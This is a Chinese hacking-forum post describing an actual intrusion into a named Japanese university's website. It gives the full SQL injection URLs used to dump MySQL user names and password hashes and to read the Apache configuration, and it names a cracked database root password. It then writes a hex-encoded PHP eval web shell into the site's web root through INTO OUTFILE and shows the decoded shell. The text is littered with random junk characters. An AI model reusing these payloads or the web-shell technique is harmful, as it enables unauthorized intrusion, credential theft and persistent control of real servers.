标题: 入侵日本同志社大学 [打印本页] 作者: admin 时间: 2012-11-21 13:48 标题: 入侵日本同志社大学 入侵日本同志社大学技术分析0 H3 g- F4 l7 ?* t* T7 D; H- h) z
# x( r* ~( c7 J% f$ S7 \$ `' u http://www.doshisha.ac.jp/chs/news/index.php?i=-1 % m9 u1 W0 o; `+ S0 h然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是: & a" ?! `- }2 J- e0 p9 A5 a4 }! t4 ` } T# R. p | http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user ; X; T9 u6 r/ r, N; c . r& E! U# D: ^/ e3 S4 f" ]6 I ) g4 M3 {: D2 [) j4 j: i/ L: t9 ^8 e# V; `& J G4 D d. G4 `" u! `: Y. m
//@@datadir为数据库文件路径 3 e h M5 h9 |1 M2 J# `/ y * a" C' k9 P! ?+ Y- r
% @4 k) A% O$ a2 S; X//load_file读取网站容器apache的配置文件 * T0 b" F' y! V8 Y% w: a ) Y0 @" F. n- y! `# e' a. n% p( Z; O1 X
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 3 @8 h5 l' m" \$ w4 R) y复制代码/ M4 F+ K, H- T$ Z3 P
( [; y9 q, N# Z8 K' K虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。 8 Q; q* p; b7 R( x+ I3 \9 ^2 X2 }1 x" y) P& z4 }3 z; _0 k; z1 h
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。: H, u/ n+ G& O$ i/ k
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)% U( Y5 Q( Q/ q, }$ o5 ]3 D
9 _5 `% `# c" q: m
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。 3 S( G2 x; t6 M+ e) F如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html5 C$ k0 }& B7 i0 `8 M: j5 L* |
( g6 p; A! x" ^. ]! z1 f4 R
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/# r: j& I& T! e+ N& X, a
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。 + M: l- g+ i+ q* o* B直接写一句话:- u0 {/ W% F. X& H. n; M& D
. h" Q( p- {6 ^; a y6 G" Khttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’# 5 b' J) _$ A1 B5 I; h1 p+ _" _' W " t. Y, [. j( T* j9 E/ P 3 z0 E) X/ N) X) f3 _% w E
. U1 D) g7 e u//最后的#是为了闭合前面的语句 + l7 }0 n) q4 Y; B( W& Z+ ]; e, y ( e, O- p( X/ @ w
' `5 A1 n4 D& `- j* k
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E : A4 q7 m; n$ |& e( T1 f6 l4 }
5 d: ?" K& j: V& Z* X
7 j8 W5 o6 e6 e- A
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ 1 R6 d* _" r* o# u& ]
' A) F' A- }8 A' Y) o$ F: x . p9 j. K" g4 j' H2 q//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 $ g7 t$ l* [+ J# b% O ' y6 |' O, J: J9 v
+ v2 f: I( r- J( d& o; Z//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 1 [$ s& _6 g) G' S. q7 L2 i6 i/ l" D
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” ; b a( p6 y& x i! @4 A复制代码( {2 Q [6 ~/ u
( Z9 U* q% t5 D; V+ \% T- aHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有' ~0 X; @9 k. N6 T( ]2 l% L
通过上述注入语句,我们就得到了一句话木马:+ y% n% S. N9 }% p
H# o, l/ q* Z/ @% B
) C$ R1 f3 H0 W& }4 i